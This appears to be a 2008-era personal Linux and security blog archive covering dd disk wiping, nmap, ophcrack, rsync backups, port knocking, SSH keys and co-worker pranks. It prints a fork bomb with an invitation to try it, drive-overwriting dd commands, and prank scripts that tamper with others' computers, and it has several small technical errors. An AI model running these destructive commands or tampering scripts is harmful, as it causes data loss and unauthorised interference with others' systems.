Ironically I teach security practices like port knocking and picking strong passwords but I fail to update a blog that I am supposed to be maintaining. One of the most frequent causes for exploits is out dated software. Wordpress blogs are no exception.

So why didn’t I update it? I didn’t update the blog for multiple reasons:

I was afraid something might break
It takes time to do an update
Everything works fine so why update?

The same article that I was frustrated at first gave clear reasons for each of my excuses that I had for not updating Wordpress, as if being hacked by an injection vulnerability wasn’t a good enough reason!

I have now set up Wordpress with subversion to make updating easier. The next time Wordpress comes out with an update I will be one of the first to download and install it!

Securely Wipe a File with DD

2008-04-15T00:00:00Z

Sometimes we have sensitive data that we want to get rid of. Since deleting a file doesn’t actually prevent it from being recovered we need to do some extra steps to ensure that it can’t be recovered. In this post we will use DD to complete this task. DD is often the tool digital forensics use to duplicate hard drives we will use it for a more destructive use so that our data can’t be recovered.

If you looking for a way to wipe an entire hard drive check out, Wiping a Hard Drive with DD.

Before deleting the sensitive file we will write over top of it with random characters.

First we find out how many characters we have to write over:

$ ls -l

This will list the directory contents. Find your file and remember or write down the byte size. It might look like this:

-rw-r--r-- 1 mark mark 21 Apr 15 22:40 test.txt

In this case the we have 21 bytes

Now that we know we have 21 bytes to write over we will use this command:

dd if=/dev/urandom of=test.txt bs=21 count=1 conv=notrunc

dd Command Explanation

dd - This is the program that we are running. It is short for data definition and sometimes called data destroyer because it is infamous for accidental data destruction.
if=/dev/urandom - ‘if’ stands for In File, AKA the source. This is the file, blocks, or device that dd will read from. In this case /dev/urandom is a special device that comes with Linux and BSD that will produce an endless supply of random characters (In our example we will only need 21).
of=test.text - ‘of’ stands for Out File. We are writing over a file so we type our file name here.
count=1 - The count tells dd how many times to repeat. If set count to ‘2’ it would produce 42 bytes of data. We only want it to write over the current data not create more than what we need, so we will set this to ‘1’.
conv=notrunc - dd by default will stop writing and truncate (delete the rest) the file if you specify a byte size that is less than the file. You really don’t need to have this part of the command to get the job done but it will help minimize errors.

Deleting the File

Now that the file you want to securely wipe has been written over it is much harder for someone to retrieve it. As of right now it is pretty much impossible to recover the file using software. You would have to use an expensive machine and physically look through the hard drive for the data. Even then you are not guaranteed to be able to find/recover the data. The only thing left to do is actually delete it.

rm test.txt

If you want to be really sure your data is gone you will need to write over the file 7 times. This is the current Department of Defense procedure for wiping sensitive data.

for ((n=1;n<8;n++)); do COMMAND; done;

This is the standard one line for loop that will repeat a command. The above command will repeat 7 times. Just replace the COMMAND part with your dd command.

Finding a Computer's MAC Address on the Network

2008-04-14T00:00:00Z

Sometimes we need to know the MAC address of a specific computer for multiple reasons. For example, I needed to know the MAC address of one of my computers so I could tell the router to assign a specific IP address via DHCP. Another reason you need to know the MAC address is so you can block a specific computer from talking to you. Maybe you need to know the MAC address so you can allow only that computer to communicate with you. There are many reasons for knowing a MAC address of a computer. Some reasons good other times it is used with bad intentions. Like port sniffing packets with a specific MAC address.

You may say well thats easy a simple ipconfig (on windows) or ifconfig (linux) will tell me the MAC address of my NIC. Well you are right, but sometimes it is not feasible or efficient to physically check the MAC address. This is why I will show you how you can use nmap or nbtstat to determine the computer’s MAC address remotely.

To find the MAC address and other interesting information on a remote IP or hostname use the following command:

nmap -Av -T4 192.168.1.101

Look for the line that says MAC address. Be careful when port scanning most of the time it will set off IDS (Intrusion Detection Systems) and your IP address will be logged. So, port scan only computers you own.

If the computer is on your same network you can use this command from windows:

nbtstat -a 192.168.1.103

I believe this only works if they have netbios enabled

Weekend Link Roundup: Week 4

2008-04-13T00:00:00Z

Computer viruses hit one million - Apparently Symantec just published a report that says their are now over a million known computer viruses. This is funny since I can’t really even remember that last time I have seen/had one.

So neighbors steal your wi-fi, kill the link or… have fun! - This is a great article that shows how you can exploit people that connect/hack your wireless network. Instead of disconnecting them they turn all their web pages blurry and upside down.

25 Games for Linux - As many know Linux is not really know for gaming since the game developers like to ignore us Linux users. Fortunately here is a good list of fun games that work natively in Linux.

Etymology of a Distro - If you ever wondered where they came up with that goofy name for your favorite Linux distro this is a great article to check out.

Google Code University - Free programming training from Google

10 JavaScript Effects to Boost Your Website’s Fanciness Factor - Some of the effects in this article are incredibly useful and easy to install.

15 helpful WordPress plugins for the savvy user - Here are a few Wordpress plugins that you should check out. I personally use a lot of the plugins mentioned here.

- Securing Windows XP Systems for IT Professionals - This is a great guide put out but the National Institute of Standards and Technology on securing Windows XP systems. I sometimes refer to this guide when securing Windows systems.

Crack Windows XP and Vista Passwords in Seconds

2008-04-10T00:00:00Z

Back in the day there used to be a program called lophcrack that was fairly good at cracking Windows passwords. Fortunately it wasn’t very effective for cracking strong passwords. Today I ran a newer cracking program on my computer called, ophcrack. As some of you know I tend to have extremely secure passwords contain numbers, letters, and other special characters. Not only did ophcrack find my password it found all but one character in my password in less than 20 seconds. That leads me to believe that it can crack pretty much any length of password in minutes.

Ophcrack is a Windows password cracker based on rainbow tables. It is a very efficient implementation of rainbow tables done by the inventors of the method. It comes with a GTK+ Graphical User Interface and runs on Windows, Mac OS X (Intel CPU) as well as on Linux.

I can only imagine people using this on public computers at a university or somewhere to get administrator passwords and such. Typically if you have physical access to a computer you can alter password files and reset them but resetting a password is a sure sign that someone has done something. If you can simply figure out what the password is and use it, they will have no idea.

Ophcrack may be a good tool for people that forget their passwords but it poses a fairly large security risk to many people. Based on my experience people tend to have only one or two passwords that they use and the password they choose for windows is usually the same for email, online banking, or other sensitive services. If you crack their windows password there is a good chance you can login to their email service too. Email is one of the most precious things to safe guard because once compromised you can request passwords to other online services at will.

Moral of the story would be to pick a different secure password for each service that you use. I guess I can add this as another reason I Hate Microsoft Windows.

Use Rsync for Daily, Weekly and Full Monthly Backups

2024-04-26T00:00:00Z

Today, we will be using rsync to make daily, weekly, incremental backups and then a full compressed/archived backup once a month. We will then use cron to automate the process. Lets face it us humans get lazy sometimes and most backup systems loose complete effectiveness if they are not completely automated.

What is rsync?

Rsync is a great utility for syncing files/folders. Many times it is used for producing incremental backups since it is capable of detecting what files are added and changed to a folder. It usually does this by timestamps but it can be set to determine file changes wih a more precise (but slow) method using md5 hashes. However, generating md5 hashes for detecting file changes is usually not required. In addition to incremental backups rsync will automatically compress/decompress files in transfer to speed up moving data when using the -z option.

Syncing vs Full Backup

Before geting into the details I think it is worth explaining the difference between full backups and incremental backups. With incremental backups I like to think of them as syncing. You are making the two sets of data match. For example, if one data set contains one extra file the incremental backup will only add that one file to the backup. As opposed to re-copying the other files. This is useful for maintaining frequent backups without the added bandwidth or processing overhead.

Installing rsync for Debian / Ubuntu

If rsync is not installed on your Debian / Ubuntu system you can install it with your preferred method or use aptitude:

sudo apt install rsync

You can install rsync on Arch Linux with sudo pacman -Syu rsync

Installing rsync for FreeBSD

It is prefered to compile applications in FreeBSD rather than binary packages. So we will install it with the following commands:

cd /usr/local/ports/net/rsync
make install clean`

If you are prompted with make instructions the defaults are fine.

Syncing Two Folders for Daily Backup

For our daily backup we will use the incremental method since it will be very frequent. We also don’t want to waste disk space, use unnecessary write operations, and CPU cycles by doing a full backup.

To sync one folder to the next we use the following command:

rsync –av /path/to/source /home/mark/rsync/daily

The ‘a’ flag tells rsync to go into archive mode. The ‘v’ option is just verbose (show details).

Now this should copy/sync all of the files from one folder to the other. If the files already exist and they have not been modified since the last time you run this command it will simply copy those files. So basically when you run this command it will backup the files that have changed since the day before.

Adding the –delete flag. By default rsync does not delete files in the backup if they were deleted in the source. This is rsync’s way of protecting you from deleting the entire backup directly on accident. To force rsync to delete files we do this:

$ rsync –av --delete /path/to/source /home/mark/rsync/daily

This will ensure that we are not backing up deleted files.

Warning: When using the –delete flag be sure to check your command twice. If you reverse the source with the destination you will sync your data with an empty folder. You will be left with two empty folders!

Weekly Sync

For our weekly sync will just sync with the latest daily folder.

rsync –av --delete /home/mark/rsync/daily /home/mark/rsync/weekly

We run this command once a week to maintain our weekly incremental backup. Now if we accidentally deleted something last Tuesday and just noticed it on Friday we will have a backup.

Full Monthly Backup

Since we are going to keep full monthly backups and they won’t be accessed frequently we can compress them with bzip.

tar -cvjf /home/mark/rsync/monthly/monthly.tar.bz2 daily/

Now since we are archiving our full backups monthly we want to be sure not to over write an existing monthly backup. We will do this by naming each one with the date. Instead of the command above use this one, to add the date to each filename.

tar -cvjf /home/mark/rsync/monthly/monthly_$(date +%Y%m%d).tar.bz2 /home/rsync/daily/

Now you should have all the commands to set up a rotating backup daily, weekly and a full monthly backup. The only thing now is to execute those commands every day, week, and end of the month.

Automate the Process with Cron

It is not a proper backup solution unless it is automated. We will use cron to set up daily, weekly, and monthly jobs.

Modify your cron schedule:

crontab -e

Now add the following lines of code:

    30 17 * * * rsync –av --delete /path/to/source /home/mark/rsync/daily
    00 18 * * 5 rsync –av --delete /home/mark/rsync/daily /home/mark/rsync/weekly
    00 6 1 * * tar -cvjf /home/mark/rsync/monthly/monthly_$(date +%Y%m%d).tar.bz2 /home/rsync/daily/

This example cron setup will backup daily at 5:30PM.
Backup every Friday at 6:00PM.
Do the full backup on the first of each month at 6:00AM

For more information on cron see, Learning Cron by Example.

Now you will need to tailor this to the usage patterns of you or your users. You should also allow enough time for the daily backup to finish before doing the weekly. In this example on Fridays I allowed 59 minutes for the daily backup to finish. If you are worried about the sync time running into each other you can schedule your daily backup in the morning and your Friday weekly backup at night.

If you want to find out how long it is currently taking to do a backup add ‘time’ command to the beginning of each command.

Tell Cron to be Quiet

Cron by default sends emails with the output of the command. If you don’t want to get emails you can pipe the cron comands to /dev/null. Add this to the end of each cron line:

> /dev/null

Duplicating a CD with DD

2008-04-08T00:00:00Z

Want to make an exact copy of a CD without installing k3b or some other burning software? You can do it in Linux/Freebsd with one line of code using dd. The nice thing about dd is that it will make a disk level duplicate of the CD. It should be a 100% exact copy.

Just replace the ‘/dev/hdc’ with your cdrom device and change ‘/path/toSave/CopyOfCD.iso’ to the place you want to store it.

$ dd if=/dev/hdc of=/path/toSave/CopyOfCD.iso bs=2048 conv=sync,notrunc

To mount it and list the contents:

`# mkdir /mnt/myCD

mount -o loop /home/mark/CopyOfCD.iso /mnt/myCD

$ CD /mnt/myCD $ ls`

You can burn with this command:

cdrecord -dao -speed=CHANGEME -dev=CHANGEME CopyOfCD.iso

Wiping a Hard Drive with DD

2008-04-07T00:00:00Z

A common assumption is that deleting or formatting a hard drive will be enough but in fact the data is still recoverable. In fact is fairly trivial and the process is quite easy to restore them. For this reason security is a great concern, especially for those who are selling or donating their old computers. I am going to show you a simple technique for erasing the entire drive. This is the same procedure that the US Government DoD uses to secure their own drives.

When you delete a file or format a hard drive you are basically just telling the computer that it can use this portion of the disk again if it is needed. If that portion of the disk is not every written over again. The data will remain indefinitely. So, in order to make deleted data unrecoverable we must write over it.

Wiping the Drive

Using dd to write over your entire drive with 0s:

dd if=/dev/zero of=/dev/hda

This would effectively write over the entire drive with ascii code 0x00 characters.

At this point the chances for recovering any data would be almost hopeless to most data recovering techniques.

Due to the way hard drives are made it is often possible to determine what was written beneath the most current write operation. If you write the entire drive with zeros, it will be quite easy to see what data was written before. It will be the one that is not a zero!

To further complicate the recovering process we will write over the entire drive with random data.

dd if=/dev/urandom of=/dev/hda

This will write over drive ‘hda’ with random data. Now the recovering process is hopeless.

If you are really paranoid or just want to be ultra secure you could write over the drive 7 times with random data. This is the same procedure the US Government uses to secure its own data.

#!/bin/bash 
for n in `seq 7`; do dd if=/dev/urandom of=/dev/sda bs=8b conv=notrunc; done

# chmod a+x wipeIt
sh wipeIt`

Notrunc means ‘do not truncate the output file’.

Other tools commonly used for wiping hard drives.

Darik’s Boot and Nuke

Weekend Link Roundup: Week 3

2008-04-05T00:00:00Z

Linux-Unix cheat sheets - The ultimate collection - Largest collection of linux commands and cheat sheets that I have come across.

FreeBSD Information and Tips - This is a few nuggets of gold. Worth checking out.

Open Flash Chart - If you are making a website that needs some charts. Open flash chart makes them like the charts found at finance.google.com and google analytics. These charts look awesome.

Is Ubuntu becoming the generic Linux distro? - This is an article that brings up a good point. Linux has always been spread out amongst a wide array of distributions suiting different needs and preferences. Today Ubuntu is becoming a synonym for Linux. This can’t be a good thing for Linux.

Color Blender Tool - This tool is awsome. It allows you to pick a range of colors and it will fill in different shades of colors inside that range. This is great for comming up with color patterns or gradients.

Asciible - Sometimes when posting code on wordpress can be a pain. This tool will convert all of your code to ascii. This reduces the chance of the code causing weird layout problems.

Security Now - Here is a podcast I have been listening to for a few years. If you are into security or you just want to learn more don’t miss this. This is probably the best podcast on security on the internet.

Grandcentral - Google recently bought this company out. It is a service that allows you to basically have a disposible phone number that you can give out to anyone. Based on the caller you have have specific ring tones, forward to different phones, block callers, and have a free voice mail. As of right now it is free but it is in closed beta. Still waiting on my number :(

Make a Backup Image of your Hard Drive with DD

2008-04-04T00:00:00Z

Dd is a tool that is often used in computer forensics because it is extremly low level and effecient at creating exact duplicates of hard drives. For this reason it is often the tool for which all other tools are compared to. But is it useful for us regular Joes?. Can we use dd to create digital copies of our hard drives for backup reasons? Yes we can, and I actually find that it is easier to use than commercially available solutions.

Dd is not always the best solution for regular imaging of hard drives. The reason for this is because dd literally makes exact copies of the hard drive it self not the actual data. So what this means is that dd is making copies of data that remains on the hard drive long after you delete it. This is one of the reasons that makes it a good tool for forensics but not so great for home users because that extra data that doesn’t need to be copied adds for a larger image file in the end.

The dd image file can be compressed to save space. Often times people will “zero out” the unused portions of the drive before imaging. This will make compression for that part of the drive incredibily small. What would normally be a few gigabytes of extra useless space could be reduced to a few kilobytes after you zero it out.

“Zeroing out” the unused portion of the drive adds unneeded writing to the drive which could shorten the lifespan of the drive some what. This is why DD is not necessarily the best solution for home imaging. Instead you should consider using Norton Ghost or Acronis True Image. If you are prefer to use free open source solutions, partimage would be a good alternative. But it doesn’t support restoring entire drives. Only partitions of drives.

Now that you are aware that dd is not typically used for regular imaging I will describe how you can use it for creating an exact duplicate of your hard drive.

Basic syntax:

infile > outfile

# dd if=/*source* of=/*destination*

It is absolutely imperative that you understand the basic structure of the command. Dd is so notorious for destroying data due to mis-typed commands that many people call it data destroy or disk destroy instead of its true name, data definition. Most of these catosrophic data destroying events are caused by reversing the input with the output. I am warning you now. Check the command twice before entering!

It is a good idea for the drive that is to be copied to be in read only mode. This can be done by booting into a live linux CD like knoppix.

Now for examples

Cloneing one hard drive directly to another hard drive:

dd if=/dev/sda of=/dev/sdb bs=4096 conv=notrunc,noerror

Ideally the second hard drive should be the exact same size. If it is a larger drive the copy will now be formatted the same as the original, and there won’t be any space left on the drive.

The Notrunc flag means ‘do not truncate the output file’. The Noerror flag means to keep going if there is an error. Normally dd stops at any error.

This will copy the entire drive to a compressed image file.

# dd if=/dev/sda ibs=4096 | gzip > partition.image.gz conv=noerror

If you want to restore the drive in the future you would use this:

# dd if=partition.image.gz | gunzip | dd of=/dev/sdba

Protecting Linux from Fork Bombs

2008-04-03T00:00:00Z

Fork bombs are basically a never ending loop. They open a processes that opens other processes that open even more processes exponentially. Causing any computer to lock up within a matter of seconds. Although they have to be ran from a logged in user they are still a threat. Users can unintentionally cause a complete lockup of a production server.

Here is an example of one of these fork bombs:

:(){ :|:& }; :

It looks harmless. But I have to warn you. It will lock up your system in a matter of seconds. If you want to try it out on your own desktop for fun go ahead. ~~I think it will work on a Mac too~~. Mac has built in protection for this sort of attack.

How do we protect against it?

For Linux edit /etc/security/limits.conf and add these two lines.

@users soft nproc 100 @users hard nproc 150

These lines will prevent anyone in the ‘users’ group from running more than 150 processes. It will also warn the user after they reach 100 processes.

Note: This effects the group users. If your users are under a different group you will need to change this.

If you are not sure if your user in the ‘users’ group. You can issue the command:

$ group

If the user is not in the users group you will need to use the following command:

# usermod -a -G users mark

After adding the user to the group you may need to relogin to make sure you are now effected by groups.

Now when you issue the command it should die with:

-bash: fork: Resource temporarily unavailable

You are now successfully protected against fork bombs.

Add Port Knocking to SSH for Extra Security

2008-04-02T00:00:00Z

SSH by default is very strong. It has protection against various hacks and known vulnerabilities. For instance SSH has a password retry wait time of five seconds. This makes the time for brute force attacking an SSH server very long and probably not effective. However, sometimes script kiddies will fork their hacking program making multiple processes of the brute force attack. Sometimes they are able to fork it off upwards of 1000 attempts every 5 seconds. This drastically minimizes the time to crack short passwords. If you think your users may have weak short passwords you may consider using public key authentication instead of passwords.

Fortuantely SSH comes with a limit on how many connections you allow at once. I believe the default configuration only allows for 40 connections. This along with public key authentication should be enough security to ward of any intrusion attempts. But, what if there was a better way? What if there was a way for the SSH server to appear to not exist?

Well you can make SSH appear to not exist by simply changing the default port to a random port, maybe port 1027. Since port 1027 is not a known SSH port people at first glance will not associate it with an SSH server. However, modern day port scanners can tell not only what ports are open but they can also tell the intruder what service is running on that port. Some port scanners can even list all known vulnerabilities for that service. In fact this is how almost all worms spread themselves. They scan for known open ports and then run a plethora of scripts to attempt to exploit the running service.

With knowledge of the specific port and service that is open, hackers have what they need to start looking for exploits, vulnerabilites or ways to brute force attack your service or in this case SSH server.

This is where the beauty of port knocking comes in. With port knocking you block all incomming traffic to all ports, or in this case SSH. Now when someone tries to do a port scan on port 22 or any other port for that matter they will see absolutely nothing. It will be like the computer doesn’t exist. Even YOU cannot connect to the SSH server on port 22. All requests will be denied.

How do I gain access then?

You will use a knockd server on the remote server running SSH that will monitor all ports at the link layer. It will be waiting for a special “knock”. It will be waiting for you to attempt to gain access to X amount of ports within X seconds. The definition of a valid knock is arbitrary, and up to the implementer. A knock might be, a syn packet sent to these closed ports:

Port 3000, 3001, 8000, 7555 within 4 seconds.

If anyone does the specified knock within the designated time they will be allowed temporary access to port 22 for their IP address. Once the port is opened it doesn’t mean you have access to that computer. You will still have to then connect via SSH and login with your password or private key. Port knocking is just an added layer of protection. It is not intended to be a replacement for authentication.

Although port knocking is awesome technology it is not for services that are intended for public use. Its more for remote administrators that want to access the server without exposing ports generally for private use.

Setting it up on FreeBSD 7.0

`# cd /usr/ports/security/knock

make install clean`

Create edit /usr/local/etc/knockd.conf

[options]
        logfile = /var/log/knockd.log
        interface = xl0

[openSSH]
        sequence    = 7000,8000,9000
        seq_timeout = 5
        command     = /sbin/ipfw -q add 00101 pass proto tcp src-ip %IP% dst-port 22
        tcpflags    = syn

[closeSSH]
        sequence    = 9000,8000,7000
        seq_timeout = 5
        command     = /sbin/ipfw -q delete 00101 pass proto tcp src-ip %IP% dst-port 22
        tcpflags    = syn

Now edit your /etc/rc.conf and add these three lines to turn the firewall on

# Enable Firewal firewall_enable="YES" firewall_type="open"

Available values for firewall_type:

open – pass all traffic. client – will protect only this machine. simple – protect the whole network. closed – entirely disables IP traffic except for the loopback interface. UNKNOWN – disables the loading of firewall rules. filename – absolute path of file containing firewall rules.

_Note: If you don’t specify the firewall type it will default to deny all. This is basically like turning of your internet. We don’t usually want this so set it to open for now. Later you will want to make a file with your specific settings._

Now do a reboot.

When it is rebooting you should now see something like this:

ipfw2 initialized, divert disabled, rule-based forwarding disabled, open, logging disabled

Type this in as root to add a firewall rule on the fly:

ipfw -q add 00102 deny tcp from any to any 22

This will block all incoming traffic to port 22.

You can now test to make sure. Try to open up an SSH connection from another machine. If you get a network error or connection refused the firewall is working.

Now you need to make sure you can open that port by knocking. Make sure knockd is started by typing as root:

knockd

Now according to our /usr/local/etc/knockd.conf it will run the following command when we do a successful port knock:

/sbin/ipfw -q add 00101 pass proto tcp src-ip %IP% dst-port 22

Notice how the number is 00101. This comes before our previous rule we put in that had the number, 00102. You see, ipfw checks rule number one if it passes it goes to the next rule and so on until it reaches the end of the config file.

You can look at your current firewall rules by typing:

# ipfw list

Setting it up on Linux

Since installation of knock will determined by your distribution’s package management software and configuring knockd is pretty much the same in Linux I won’t go into detail. For Debian based systems it should be something like this:

apt-get install knockd

The configuration file for knockd will most likely be in /etc/

The other difference between Linux and FreeBSD is that linux by default usually uses iptables as their firewall instead of ipfw. So you will need to modify your knock config file to have iptables commands instead of ipfw commands.

[options]
      logfile = /var/log/knockd.log

[SSH]
      sequence    = 7000,8000,9000
      seq_timeout = 5
      command     = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
      tcpflags    = syn
      cmd_timeout   = 10
      stop_command  = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT

Doing the Knocking from Windows

To do the knocking for Windows I usually use KnockKnock. Run KnockKnock.exe you should get something like this:

You should now be able to connect with PuTTY.

If do a ipfw list you should see something similar to this:

00100 allow ip from any to any via lo0 00101 allow ip from any to any proto tcp src-ip 192.168.1.103 dst-port 22 00102 deny tcp from any to any dst-port 22 00200 deny ip from any to 127.0.0.0/8 00300 deny ip from 127.0.0.0/8 to any 65000 allow ip from any to any 65535 deny ip from any to any

Notice how it only opened port 22 to my ip only, not to the entire world.

8 Computer Pranks to Use on Your Co-Workers

2008-04-01T00:00:00Z

The classic prank. Take a screen shot of their desktop and set their wallpaper to that screenshot. Then hide all the icons by doing a right click > Arrange Icons By: > Show Desktop Icons.
Modify C:\WINDOWS\system32\drivers\etc\hosts to redirect their favorite website to http://youtube.com/watch?v=eBGIQ7ZuuiU
Change their keyboard layout to dvorak.
- Open control panel
- Open the ‘Regional and Language Options’ applet
- Select ‘Languages’ tab, click ‘Details’ button
- Click ‘Add’ check the ‘Keyboard Layout/IME’ box
- Make sure ‘United States-Dvorak’ is selected and click ‘ok’
- Under the ‘Default Input Language’ section at the top of the ‘Text Services and Input Languages’ window, select the Dvorak option
- Hit ‘ok‘
- Hold the left ‘Alt’ key and hit ‘Shift’ to switch back and forth between the Dvorak layout and normal keyboard layout

Even those with some computer experience will have a hard time figuring this one out.

Create an AutoIT script that will eat away one space bar key stroke every 4 presses.

Opt("TrayIconHide", 1) HotKeySet("{SPACE}", "EatPress") While 1 Sleep(100) WEnd Func EatPress() $i = Round(Random(3)) If $i < 3 Then HotKeySet("{SPACE}") Send("{SPACE}") HotKeySet("{SPACE}", "EatPress") EndIf EndFunc

If you have a linux computer on your network that can print, you can have it print random sayings at 10 minute intervals.

#!/bin/bash COUNTER=0 while [ $COUNTER -lt 10 ]; do sleep 10m fortune | lpr let COUNTER=COUNTER+1 done

Change the users cursor with a middle finger icon every 5 seconds with this nifty software. To close it just move your cursor to the top left corner for a few seconds.
Have them see random messages from good ol’ Mr. Paper Clip.

Give someone a heart attack by setting their LCD montitor background to this.

Using PHP to Determine Which Adsense Ad Works Best

2008-03-31T00:00:00Z

I recently read an article that discussed the effectiveness of different adsense ad sizes. The three medium box shaped ads that adsense offers is:

250x250 300x250 336x280

The article mentioned that even though the 336x280 was the largest it wasn’t neccesarily the best performing advertisement since most online advertisers develop their image ads to fit in a 300x250 slot. The author had even said he spoke to one advertising agency representative who says that they’ve never made a 336×280 ad for any of their mainstream advertisers.

The reason this is important is that the more advertisers fighting for a specific ad block size the higher the price of the ad, thus more money for your website.

But how do we test it? How do we know for sure that one ad block out performs the others?

I have set up a php script to randomly display ad block A and ad block B. This is also known as split testing or multivariate testing.

The Code

<?php $splitIt = rand()&1; ?>
<?php if ($splitIt == 0) { ?>
     // Adsense code for ad block A
<?php } ?>

<?php if ($splitIt == 1) { ?>
     // Adsense code for ad block B
<?php } ?>

Make sure when you setup your adsense code that you make two seperate channels so can monitor the results of the two advertisements. For more information about adsense channels check out, Introducing multiple custom channels.

Implement split testing into your site and let us know which advertisements are working best for you. I am currently testing between the 250x250 and 300x250 advertisements blocks. I plan to split test these until April 30th then I will post the results of my test.

SSH - Using Keys Instead of Passwords

2008-03-26T00:00:00Z

SSH is really not that secure by default on must Linux distributions in the default configuration. By default OpenSSH is configured to allow password based authentication (because its easier); however, script kiddies have developed scripts that can try thousands of passwords an hour. If you have a strong secure password this will usually not be an issue but if you or one of your users use a dictionary based or weak password your system can be compromised quite easily. Most of the time you have no control over the strength of your users passwords so I recommend giving them a password that is 1024 bits, also known as a private key. Since this key is stored in a text file on the users machine it is often times a good alternative way of authenticating for users that don’t want to remember passwords but still be very secure.

Since the 1024 bit private key must match the public key we have 21024 or 1.797693134 x10308 keys. That is a 1 with 308 zeros behind it. If you were to process 1 billion passwords per second you would still not be able to crack this password within a few million years. Although this method is impervious to brute force attacks it is worthless if you leave your private key out for everyone to see, so after you get this setup guard it! It is worth mentioning that you can set a pass phrase on your private key. This way if your private key does fall into the wrong hands it will be worthless.

Setting up SSH to Use DSA Keys

On the machine running sshd:

$ ssh-keygen -t dsa

it should give you something like this:

Generating public/private dsa key pair. Enter file in which to save the key (/home/mark/.ssh/id_dsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/mark/.ssh/id_dsa. Your public key has been saved in /home/mark/.ssh/id_dsa.pub. The key fingerprint is: bb:f6:0e:6d:b5:c5:5f:c3:a1:d6:73:5f:25:f9:4d:09 mark@beasd

Notice how it saved the private key as id_dsa and the public key as id_dsa.pub in the ~/.ssh directory.

Since most sshd configurations are set to look for public keys in ~/.ssh/authorized_keys we shall add our new public key to that file:

$ cat ~/.ssh/id_dsa.pub >> ~/.ssh/authorized_keys

After adding the newly generated public key to authorized_keys you should be able to authenticate with keys. Try it now on the localhost like so.

$ ssh localhost -i .ssh/id_dsa

The ‘-i’ flag tells ssh to identify with a key.

If your login was successful it should be safe to turn of keyboard/password authentication. Edit /etc/ssh/sshd_config

Make sure you have these set to yes to enable the use of keys:

RSAAuthentication yes PubkeyAuthentication yes

After you have your key working you should turn of regular password authentication:

PasswordAuthentication no ChallengeResponseAuthentication no

Might as well turn off root login for security purposes

PermitRootLogin no

Connecting From a Windows Computer Using PuTTY

The most common ssh client for Windows is PuTTY so I will explain how to connect to your newly configured ssh server with PuTTY. You will also need puttygen to convert the key to a key that putty can use (*.ppk files).

First start off by copying the id_dsa.pub from your ssh server to your machine with whatever method you want. I used FTP. Then open PuTTYgen.exe. If you set up a pass phrase you will be prompted to type it in.

Click load to load a previous private key. Then save it as a .ppk.

Then open PuTTY and enter the IP address of the SSH server and click on ssh > auth in the tree to the left:

Click browse and find the .ppk file you just saved. Then hit open. If all goes well you should be greeted with something similar to this:

Blog Improvements, Any Ideas?

2008-03-26T00:00:00Z

Well, over the past few days I have implemented new features and made many modifications to this blog. Below are the following changes and impovements that I thought may interest you. I also want to hear your thoughts on the current changes and future improvements to the blog.

Enhancements

WordPress Update. Upgraded blog to newest version of WordPress.
Site Search. Changed the site search feature back to WordPress. I had originally used Google site search and I had found that it hadn’t added much value while taking vistitors into a third party unfamiliar site. One alternative I had tried was Google’s CSE (Custom Search Engine). This allows you to have the search results embedded into your site; however, due to the layout of the site the results were bunched together and it displayed too much white space near the bottom.
Comments. Added code to make author comments stand out from regular comments.
Random Page. Using a nifty little plugin there are now links at the bottom of each post that will take you to a random article.
Code in Posts. I added a much better system for displaying code in posts. It includes line numbers and color syntax.
Text Color. The text color throughout the entire site is now a slightly darker shade of grey for readability.

New

Donate. By request I added a page for people that would like to contribute to this site by donating.
Advertising. After many months the advertising on the sidebar has only recieved a handful of clicks so I changed it from a text ad to an image ad. If this advertisement continues to provide minimal results I will consider removing it entirely.

To Do

Trackback Toggleing. After reading this article, I decied I am going to implent a link to hide/show trackbacks in comments to minimize on the space they take up and the distraction they make on the discussion that takes place.
404. I am going to create a more informational 404 page. So my readers may find lost posts that they were looking or mis typed/linked urls.
New Comment Notification. I am considering implementing a way for readers to be notified when there are new comments in a post they themselves have commented on. This my be via email or RSS feed.

Suggestions?

Since this site is for you, the readers. I want to know what you think. Please write in with suggestions for things you love, things you want removed or anything else you can think of. I value your comments and suggestions and would love to hear them. So, please let me know what else I can do to make the site better for you.

Changing Permissions with chmod Binary Values

2008-03-20T00:00:00Z

Recently I accidently changed the permissions of one of my files and I didn’t know what the correct permissions were suppose to be. I did know that the other files in the same directory were the correct permission. Using the ls -l command. I was able to see that the permission was set as, -rw-r–r–. Great, I now know the correct permission; however, I usually use the binary syntax for chmod and I am not familiar with the other method.

What I ended up doing was a little weird and geeky but in the end it was fun and I got my permissions fixed. I actually converted the character method to binary by hand and then ended up changing the permission with my usual method.

Converting -rw-r–r– Format to Binary

The easiest way I found was to convert each character to a ‘1’ and each dash to a ‘0’.

So -rw-r--r-- would equal to: 0110100100

I then would then drop the first number and group it into threes. Here is the binary conversion to our 10 based system.

110 100 100 = 644
 6   4   4

... 128 64 32 16 8 4 2 1
                   1 1 0
           4 + 2 + 0 = 6

So to match the permissions of the other files in the directory I can do this:

$ chmod 644 test.txt

Quick Lesson on Binary

If you don’t know binary its actually quite easy. It goes from right to left like this:

… 128 64 32 16 8 4 2 1

Think of the 1s and 0s as switches. On and off. Let’s convert binary ‘111’:

... 128 64 32 16 8 4 2 1
                   1 1 1
           4 + 2 + 1 = 7

All you do now is add up the numbers 4 + 2 + 1 = 7.

Let’s convert ‘100’:

... 128 64 32 16 8 4 2 1
                   1 0 0
           4 + 0 + 0 = 4

Let’s choose an arbitrary number 17:

... 128 64 32 16 8 4 2 1
               1 0 0 0 1
 16 + 0 + 0 + 0 + 1 = 17

octal (base-8) permission codes

0 (binary 000) – No permissions.
1 (binary 001) – Execute permission.
2 (binary 010) – Write permission.
3 (binary 011) – Write and execute permissions.
4 (binary 100) – Read permission.
5 (binary 101) – Read and execute permissions.
6 (binary 110) – Read and write permissions.
7 (binary 111) – Read, write, and execute permissions (full permissions).

Common chmod values

These number can be applied to owner, group, and others:

777 - readwrite by all, owners, group, and others
755 - Read by Owner + Write by Owner + Execute by Owner + Read by Group + Execute by Group + Read by anyone (common for files in user’s home directory)
644 - Everyone read, only owner can write.

Here are some more Linux commands.

Using fetchmail to Backup Gmail with FreeBSD

2008-03-19T00:00:00Z

Getting fetchmail to work in Linux or FreeBSD has always been difficult for me. The SSL certificates always seem to be a pain to configure. It has been particularly difficult to get fetchmail with Gmail working on FreeBSD since there are no complete guides written for FreeBSD.

